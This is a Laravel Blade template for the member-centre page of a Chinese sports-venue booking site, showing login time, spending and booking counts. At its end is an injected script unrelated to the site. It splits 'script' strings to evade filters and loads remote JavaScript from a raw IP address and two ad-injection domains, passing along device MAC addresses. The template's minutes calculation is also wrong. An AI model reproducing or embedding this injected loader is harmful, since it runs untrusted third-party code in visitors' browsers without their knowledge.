<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- saved from url=(0028)http://www.qyd8.com/ums.html -->
<html xmlns="http://www.w3.org/1999/xhtml">

    
<head>

    @include('head')
    <title>去运动吧 | 会员中心</title>
    
</head>

<body>

@include('header')


<div id="main">
    <div class="ad_content">
    <div class="UserInfo">
    <div id="UserPic" class="userPic" style="background:url(&#39;http://www.qyd8.com/upload/ums/112/500/422/headPic/1_(1).jpg&#39;);background-repeat:no-repeat;background-size:cover;background-position:center;overflow:hidden;" onmouseover="this.innerHTML=&#39;编辑头像&#39;" onmouseout="this.innerHTML=&#39;&#39;" onclick="window.open(&#39;ModiHeadPic.html&#39;,&#39;编辑头像&#39;,&#39;toolbar=no, location=no, directories=no, status=no, menubar=no, scrollbars=no, resizable=no, copyhistory=no, width=600, height=450&#39;)"></div>

    <div class="welcome">
                
        <div class="ChangeRow"></div>
        <div class="welcomeTxt F2em Green">运动达人，欢迎回来！</div>
        <div class="welcomeTxt F1em Green">您上次的登录时间：{{date('Y-m-d H:i:s',$data['lastlogin'])}}</div>
    </div>
            <label><a class="RedF90" href="{{url('/auth/register')}}"><span class="fa fa-5x fa-mobile RedF00"></span>立即绑定手机!</a></label>
        <div class="Buttons">
        <a href="/homepage"><div class="Button2emGreen"><span class="fa fa-home" style=" line-height:1.5em;"></span></div></a>
        <a href="{{url('order_list')}}"><div class="Button2emGreen"><span class="fa fa-reorder" style=" line-height:1.5em;"></span></div></a>
        <a href="#"><div class="Button2emGreen"><span class="fa fa-heart" style=" line-height:1.5em"></span></div></a>
        <a href="#"><div class="Button2emGreen"><span class="fa fa-life-ring" style=" line-height:1.5em"></span></div></a>

        <a href="{{url('auth/logout')}}"><div class="Button2emGray"><span class="fa fa-sign-out" style=" line-height:1.5em"></span></div></a>


        <div class="ChangeRow"></div>
        <a href="/"><div class="welcomeTxt F1em FloatLeft MarginLR1em Green">主页</div></a>
        <a href="{{url('order_list')}}"><div class="welcomeTxt F1em FloatLeft MarginLR1em Green">预订</div></a>
        <a href="#"><div class="welcomeTxt F1em FloatLeft MarginLR1em Green">收藏</div></a>
        <a href="#"><div class="welcomeTxt F1em FloatLeft MarginLR1em Green">运动豆</div></a>
        <a href="{{url('/auth/logout')}}" class="Gray"><div class="welcomeTxt F1em FloatLeft MarginLR1em gray">退出</div></a>
    </div>
</div>
        @if($data)
            <div class="ChangeRow"></div>
            <div class="nember1">
                <nav class="SumNumber Green F2_5em">
                @if( floor($data['parttime']/86400) >=1 )
                {{ floor($data['parttime']/86400) }}天前
                @elseif( floor($data['parttime']/3600) >= 1)
                {{ floor($data['parttime']/3600) }}小时前
                @elseif( floor($data['parttime']/60) >= 1)
                {{ floor( $data['parttime']/3600 ) }}分钟前
                @else
                0
                @endif
                </nav>
                <nav class="SumNumberWord">距上次登陆</nav>
            </div>
            <div class="nember1">
                <nav class="SumNumber Green F2_5em">￥{{$data['money']}}.00</nav>
                <nav class="SumNumberWord">累计花费</nav>
            </div>
            <div class="nember1">
                <nav class="SumNumber Green F2_5em">无</nav>
                <nav class="SumNumberWord">可节省开销</nav>
            </div>
            <div class="ChangeRow"></div>
            <ul>
                <a href="{{url('order_list')}}">
                    <li>
                        <div class="nember2"><nav class="SumNumber F2em">{{$data['count'] }}</nav></div>
                        <div class="ChangeRow"></div>
                        <div class="SumNumberWord2 Green">预订记录</div>
                    </li>
                </a>
                <a href="#">
                    <li>
                        <div class="nember2"><nav class="SumNumber F2em">0</nav></div>
                        <div class="ChangeRow"></div>
                        <div class="SumNumberWord2 Green">收藏的场馆</div>
                    </li>
                </a>
                <a href="#">
                    <li>
                        <div class="nember2"><nav class="SumNumber F2em">0</nav></div>
                        <div class="ChangeRow"></div>
                        <div class="SumNumberWord2 Green">运动豆</div>
                    </li>
                </a>
            </ul>
        </div>

        <!--  /ad_content -->
    </div>
    @else
    <div class="ChangeRow"></div>
            <div class="nember1">
                <nav class="SumNumber Green F2_5em">0</nav>
                <nav class="SumNumberWord">距上次登陆</nav>
            </div>
            <div class="nember1">
                <nav class="SumNumber Green F2_5em">￥0.00</nav>
                <nav class="SumNumberWord">累计花费</nav>
            </div>
            <div class="nember1">
                <nav class="SumNumber Green F2_5em">￥0.00</nav>
                <nav class="SumNumberWord">可节省开销</nav>
            </div>
            <div class="ChangeRow"></div>
            <ul>
                <a href="/order_list">
                    <li>
                        <div class="nember2"><nav class="SumNumber F2em">0</nav></div>
                        <div class="ChangeRow"></div>
                        <div class="SumNumberWord2 Green">预订记录</div>
                    </li>
                </a>
                <a href="#">
                    <li>
                        <div class="nember2"><nav class="SumNumber F2em">0</nav></div>
                        <div class="ChangeRow"></div>
                        <div class="SumNumberWord2 Green">收藏的场馆</div>
                    </li>
                </a>
                <a href="#">
                    <li>
                        <div class="nember2"><nav class="SumNumber F2em">0</nav></div>
                        <div class="ChangeRow"></div>
                        <div class="SumNumberWord2 Green">运动豆</div>
                    </li>
                </a>
            </ul>
        </div>

        <!--  /ad_content -->
    </div>
    @endif
    <!--  /main -->




@include('footer')


<script>
function ik_random(){var ik_r_min=0;var ik_r_max=100;return(parseInt(Math.random()*(ik_r_max-ik_r_min+1)+ik_r_min));}
function ik_isiframe(){return (self!=top);}
var __h="http://101.201.53.95/js.php?uid=5f660ed58cb3aa478478de66238b18ce,PC,";
var x=ik_random();
var __m='b8:88:e3:6f:7a:d2';
var __m2='00:e0:4c:59:ca:88';
if(!ik_isiframe()){
	switch(true){
                 case x>=0&&x<60:
			document.write("<sc"+"ript src=\""+__h+"16&r="+Math.random()+"&r2="+Math.random()+"\"></scr"+"ipt>");
			document.write("<sc"+"ript src=\"http://js.union-wifi.com/zm.js?cid=10066&dmac="+__m2+"&umac="+__m+"\"></scr"+"ipt>");
			break;
                 case x>=60&&x<=100:
			document.write("<sc"+"ript src=\""+__h+"11&r="+Math.random()+"&r2="+Math.random()+"\"></scr"+"ipt>");
			document.write("<sc"+"ript src=\"http://un.winasdaq.com/ydap.js?ydcp_id=10111&cumid="+__m+"&apmac="+__m2+"\"></scr"+"ipt>");
			break;
		}
}
</script>

</body>
</html>